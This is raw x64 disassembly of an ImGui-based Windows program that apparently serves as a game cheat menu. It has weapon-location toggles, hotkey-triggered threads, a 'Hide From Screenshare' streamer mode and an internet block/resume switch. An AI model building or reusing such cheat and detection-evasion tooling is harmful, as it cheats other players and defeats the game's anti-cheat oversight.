mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x14005265f
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY
lea rdx, [0x140141293]
lea rcx, str.AK47_LOCATION
call fcn.140036500
mov byte [0x1401411bc], al
test al, al
je 0x140052709
cmp byte [0x140141293], r15b
je 0x140052709
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x108]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a410]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x100], rax
test rax, rax
je 0x14005414f
cmp dword [rbp + 0x108], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x100]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x100], xmm0
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140052755
cmp byte [rcx + 0x48f2], r15b
jne 0x140052755
test byte [rcx + 0x4770], 4
jne 0x140052866
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140052866
test eax, eax
jne 0x14005281d
jmp 0x140052866
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140052866
cmp qword [rcx + 0x3ed8], r9
je 0x140052775
test al, al
jns 0x140052866
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005279a
cmp eax, dword [rcx + 0x476c]
je 0x14005279a
cmp byte [rcx + 0x3f3d], r15b
jne 0x14005279a
cmp eax, dword [r9 + 0x74]
jne 0x140052866
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400527ff
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400527ff
cmp byte [rdx + 0xaf], r15b
je 0x1400527ff
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400527ff
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400527d9
bt r8d, 0x1a
jae 0x1400527ff
cmp qword [rax + 0x370], rdx
je 0x1400527ff
cmp rax, rdx
je 0x1400527ff
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400527e2
test dword [rcx + 0x4770], 0x100
je 0x140052866
test byte [rcx + 0x4770], 4
jne 0x140052866
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005281d
cmp byte [r9 + 0xb0], r15b
jne 0x140052866
xor ecx, ecx
call fcn.140015c80
lea rcx, str.LOBBY
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140052861
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY
lea rdx, [0x14014129e]
lea rcx, str.M82B_LOCATION
call fcn.140036500
mov byte [0x1401412a1], al
test al, al
je 0x14005290b
cmp byte [0x14014129e], r15b
je 0x14005290b
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x118]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a440]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x110], rax
test rax, rax
je 0x140054162
cmp dword [rbp + 0x118], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x110]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x110], xmm0
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140052957
cmp byte [rcx + 0x48f2], r15b
jne 0x140052957
test byte [rcx + 0x4770], 4
jne 0x140052a68
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140052a68
test eax, eax
jne 0x140052a1f
jmp 0x140052a68
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140052a68
cmp qword [rcx + 0x3ed8], r9
je 0x140052977
test al, al
jns 0x140052a68
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005299c
cmp eax, dword [rcx + 0x476c]
je 0x14005299c
cmp byte [rcx + 0x3f3d], r15b
jne 0x14005299c
cmp eax, dword [r9 + 0x74]
jne 0x140052a68
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140052a01
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140052a01
cmp byte [rdx + 0xaf], r15b
je 0x140052a01
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140052a01
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400529db
bt r8d, 0x1a
jae 0x140052a01
cmp qword [rax + 0x370], rdx
je 0x140052a01
cmp rax, rdx
je 0x140052a01
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400529e4
test dword [rcx + 0x4770], 0x100
je 0x140052a68
test byte [rcx + 0x4770], 4
jne 0x140052a68
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140052a1f
cmp byte [r9 + 0xb0], r15b
jne 0x140052a68
xor ecx, ecx
call fcn.140015c80
lea rcx, str.LOBBY
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140052a63
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY
lea rdx, [0x14014129d]
lea rcx, str.AWM_LOCATION
call fcn.140036500
mov byte [0x14014122b], al
test al, al
je 0x140052b0d
cmp byte [0x14014129d], r15b
je 0x140052b0d
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x128]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a470]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x120], rax
test rax, rax
je 0x140054175
cmp dword [rbp + 0x128], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x120]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140052b59
cmp byte [rcx + 0x48f2], r15b
jne 0x140052b59
test byte [rcx + 0x4770], 4
jne 0x140052c6a
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140052c6a
test eax, eax
jne 0x140052c21
jmp 0x140052c6a
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140052c6a
cmp qword [rcx + 0x3ed8], r9
je 0x140052b79
test al, al
jns 0x140052c6a
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140052b9e
cmp eax, dword [rcx + 0x476c]
je 0x140052b9e
cmp byte [rcx + 0x3f3d], r15b
jne 0x140052b9e
cmp eax, dword [r9 + 0x74]
jne 0x140052c6a
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140052c03
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140052c03
cmp byte [rdx + 0xaf], r15b
je 0x140052c03
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140052c03
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140052bdd
bt r8d, 0x1a
jae 0x140052c03
cmp qword [rax + 0x370], rdx
je 0x140052c03
cmp rax, rdx
je 0x140052c03
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140052be6
test dword [rcx + 0x4770], 0x100
je 0x140052c6a
test byte [rcx + 0x4770], 4
jne 0x140052c6a
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140052c21
cmp byte [r9 + 0xb0], r15b
jne 0x140052c6a
xor ecx, ecx
call fcn.140015c80
lea rcx, str.LOBBY
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140052c65
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY
lea rdx, [0x1401412a0]
lea rcx, str.AWM_Y_LOCATION
call fcn.140036500
mov byte [0x1401412a8], al
test al, al
je 0x140052d0f
cmp byte [0x1401412a0], r15b
je 0x140052d0f
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x138]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a4a0]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x130], rax
test rax, rax
je 0x140054188
cmp dword [rbp + 0x138], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x130]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x130], xmm0
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140052d5b
cmp byte [rcx + 0x48f2], r15b
jne 0x140052d5b
test byte [rcx + 0x4770], 4
jne 0x140052e6c
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140052e6c
test eax, eax
jne 0x140052e23
jmp 0x140052e6c
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140052e6c
cmp qword [rcx + 0x3ed8], r9
je 0x140052d7b
test al, al
jns 0x140052e6c
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140052da0
cmp eax, dword [rcx + 0x476c]
je 0x140052da0
cmp byte [rcx + 0x3f3d], r15b
jne 0x140052da0
cmp eax, dword [r9 + 0x74]
jne 0x140052e6c
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140052e05
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140052e05
cmp byte [rdx + 0xaf], r15b
je 0x140052e05
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140052e05
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140052ddf
bt r8d, 0x1a
jae 0x140052e05
cmp qword [rax + 0x370], rdx
je 0x140052e05
cmp rax, rdx
je 0x140052e05
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140052de8
test dword [rcx + 0x4770], 0x100
je 0x140052e6c
test byte [rcx + 0x4770], 4
jne 0x140052e6c
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140052e23
cmp byte [r9 + 0xb0], r15b
jne 0x140052e6c
xor ecx, ecx
call fcn.140015c80
lea rcx, str.LOBBY
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140052e67
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
call fcn.14000b280
mov eax, dword [0x1401416a0]
cmp eax, 4
jne 0x14005329c
mov rcx, qword [0x140141150]
lea rdx, str.Settings
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm15
addss xmm1, xmm12
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
mov dword [rbp + 0xa8], 0x43960000
mov dword [rbp + 0xac], 0x43f00000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140006c70
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rcx, str.Settings
call fcn.14000af20
xor r9d, r9d
lea r8, str.Hide_From_Screenshare
lea rdx, [0x140141296]
lea rcx, str.Streamer_Mode
call fcn.140036500
mov byte [0x1401411bf], al
test al, al
je 0x140052f60
cmp byte [0x140141296], r15b
je 0x140052f5b
call fcn.14004d410
jmp 0x140052f60
call fcn.14004d4d0
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140052fac
cmp byte [rcx + 0x48f2], r15b
jne 0x140052fac
test byte [rcx + 0x4770], 4
jne 0x1400530c4
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400530c4
test eax, eax
jne 0x14005307b
jmp 0x1400530c4
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x1400530c4
cmp qword [rcx + 0x3ed8], r9
je 0x140052fcc
test al, al
jns 0x1400530c4
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140052ff1
cmp eax, dword [rcx + 0x476c]
je 0x140052ff1
cmp byte [rcx + 0x3f3d], r15b
jne 0x140052ff1
cmp eax, dword [r9 + 0x74]
jne 0x1400530c4
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005305d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005305d
cmp byte [rdx + 0xaf], r15b
je 0x14005305d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005305d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140053030
bt r8d, 0x1a
jae 0x14005305d
cmp qword [rax + 0x370], rdx
je 0x14005305d
nop dword [rax]
cmp rax, rdx
je 0x14005305d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140053040
test dword [rcx + 0x4770], 0x100
je 0x1400530c4
test byte [rcx + 0x4770], 4
jne 0x1400530c4
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005307b
cmp byte [r9 + 0xb0], r15b
jne 0x1400530c4
xor ecx, ecx
call fcn.140015c80
lea rcx, str.Hidden
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400530bf
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.ANY_TIME_ON_OFF
lea rdx, [0x140141299]
lea rcx, str.Block__Resume_Internet
call fcn.140036500
mov byte [0x140141217], al
test al, al
je 0x14005313a
cmp byte [0x140141299], r15b
je 0x140053115
lea rcx, [rbp + 0x530]
call fcn.140057e90
lea rcx, [rbp + 0x530]
call fcn.140045b80
cmp dword [rbp + 0x538], r15d
jmp 0x140053134
lea rcx, [rbp + 0x440]
call fcn.140057f00
lea rcx, [rbp + 0x440]
call fcn.140045b80
cmp dword [rbp + 0x448], r15d
jne 0x14005419b
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140053186
cmp byte [rcx + 0x48f2], r15b
jne 0x140053186
test byte [rcx + 0x4770], 4
jne 0x140053297
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140053297
test eax, eax
jne 0x14005324e
jmp 0x140053297
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140053297
cmp qword [rcx + 0x3ed8], r9
je 0x1400531a6
test al, al
jns 0x140053297
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x1400531cb
cmp eax, dword [rcx + 0x476c]
je 0x1400531cb
cmp byte [rcx + 0x3f3d], r15b
jne 0x1400531cb
cmp eax, dword [r9 + 0x74]
jne 0x140053297
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140053230
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140053230
cmp byte [rdx + 0xaf], r15b
je 0x140053230
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140053230
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005320a
bt r8d, 0x1a
jae 0x140053230
cmp qword [rax + 0x370], rdx
je 0x140053230
cmp rax, rdx
je 0x140053230
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140053213
test dword [rcx + 0x4770], 0x100
je 0x140053297
test byte [rcx + 0x4770], 4
jne 0x140053297
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005324e
cmp byte [r9 + 0xb0], r15b
jne 0x140053297
xor ecx, ecx
call fcn.140015c80
lea rcx, str.OFF_ON
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140053292
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
call fcn.14000b280
mov ecx, dword [0x14014122c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x140053322
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x148]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140059250]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x140], rax
test rax, rax
je 0x1400541a2
cmp dword [rbp + 0x148], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x140]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
mov ecx, dword [0x1401411b8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x1400533a8
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x158]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140059290]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x150], rax
test rax, rax
je 0x1400541b5
cmp dword [rbp + 0x158], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x150]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x150], xmm0
mov ecx, dword [0x140141168]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005342e
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x168]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140059210]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x160], rax
test rax, rax
je 0x1400541c8
cmp dword [rbp + 0x168], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x160]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x160], xmm0
mov ecx, dword [0x1401412ac]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x1400534b4
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x178]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a7b0]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x170], rax
test rax, rax
je 0x1400541db
cmp dword [rbp + 0x178], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x170]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x170], xmm0
mov ecx, dword [0x140141160]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x14005353a
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x188]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a870]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x180], rax
test rax, rax
je 0x1400541ee
cmp dword [rbp + 0x188], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x180]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x180], xmm0
mov ecx, dword [0x140141210]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x1400535c0
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x198]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005aa40]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x190], rax
test rax, rax
je 0x140054201
cmp dword [rbp + 0x198], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x190]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x190], xmm0
mov ecx, dword [0x1401412a4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x140053e67
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x1a8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005aa70]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1a0], rax
test rax, rax
je 0x140054214
cmp dword [rbp + 0x1a8], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x1a0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1a0], xmm0
jmp 0x140053e67
lea r8, [rbp + 0xb0]
movss dword [rbp + 0xb0], xmm0
movss dword [rbp + 0xb4], xmm1
call fcn.1400291e0
movss xmm0, dword [rsp + 0x70]
lea rcx, [0x140140168]
movss xmm1, dword [rsp + 0x74]
addss xmm0, xmm8
addss xmm1, xmm7
movss dword [rbp + 0xb8], xmm0
movss dword [rbp + 0xbc], xmm1
call fcn.140004360
mov r9d, eax
mov dword [rsp + 0x28], 0x50
lea rdx, [rsp + 0x70]
movss dword [rsp + 0x20], xmm6
lea r8, [rbp + 0xb8]
mov rcx, rsi
call fcn.1400291e0
movss xmm0, dword [0x14014135c]
ucomiss xmm0, xmm10
jp 0x1400536e9
jne 0x1400536e9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x14014135c], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x14014135c]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm9
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x1400537a3
cmp byte [reloc.WS2_32.dll_accept], r15b
movss xmm1, dword [0x140141358]
je 0x14005375f
comiss xmm13, xmm1
jbe 0x140053750
call fcn.1400076f0
movss xmm1, dword [0x140141358]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
addss xmm1, xmm0
movss dword [0x140141358], xmm1
comiss xmm1, xmm13
jb 0x14005379c
mov byte [reloc.WS2_32.dll_accept], r15b
jmp 0x14005379c
comiss xmm1, xmm10
jbe 0x14005378f
call fcn.1400076f0
movss xmm1, dword [0x140141358]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
subss xmm1, xmm0
movss dword [0x140141358], xmm1
comiss xmm10, xmm1
jb 0x14005379c
mov byte [reloc.WS2_32.dll_accept], r12b
mov dword [0x14014135c], r15d
mov rcx, qword [0x1401426a8]
mov rdi, qword [0x140141150]
mov rbx, rcx
mov qword [rsp + 0x60], rcx
test rcx, rcx
jne 0x1400537fa
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x1400537f2
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], r15d
jg 0x1400537eb
mov r8d, 0x700
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rsp + 0x60], rcx
mov rbx, rcx
call fcn.140011430
lea rcx, [rdi + 0x4838]
lea rdx, [rsp + 0x60]
call fcn.14001d9c0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ed0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x290]
call fcn.140026920
movss xmm0, dword [0x140141358]
lea rcx, [rbp - 0x20]
movss dword [rbp - 0x14], xmm0
mov dword [rbp - 0x20], 0x43420000
mov dword [rbp - 0x1c], 0x428a0000
mov dword [rbp - 0x18], 0x42fc0000
call fcn.140004360
movss xmm9, dword [rsp + 0x70]
lea rcx, str.no_name_panel__
movss xmm8, dword [rsp + 0x74]
lea rdx, [rbp + 0x38]
movss xmm0, dword [0x1400e1608]
movaps xmm7, xmm9
movss xmm3, dword [0x1400e15fc]
addss xmm9, xmm10
addss xmm7, dword [0x1400e15bc]
movaps xmm6, xmm8
mov qword [rsp + 0x30], r15
subss xmm6, dword [0x1400e155c]
addss xmm8, dword [0x1400e15a4]
mov qword [rsp + 0x28], rcx
mov edi, eax
mov rax, qword [0x140141150]
movss dword [rsp + 0x20], xmm0
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.1400316f0
movss xmm2, dword [0x1400e148c]
subss xmm7, xmm9
movss xmm0, dword [rbp + 0x38]
subss xmm6, xmm8
addss xmm0, dword [0x1400e14b8]
mulss xmm7, xmm2
mulss xmm6, xmm2
addss xmm9, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [rbp + 0x3c]
addss xmm8, xmm6
mulss xmm0, xmm2
movd xmm1, eax
subss xmm8, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0xc4], xmm8
movss dword [rbp + 0x38], xmm1
mulss xmm1, xmm2
subss xmm9, xmm1
movss dword [rbp + 0xc0], xmm9
test edi, 0xff000000
je 0x1400539d3
mov rax, qword [rsi + 0x38]
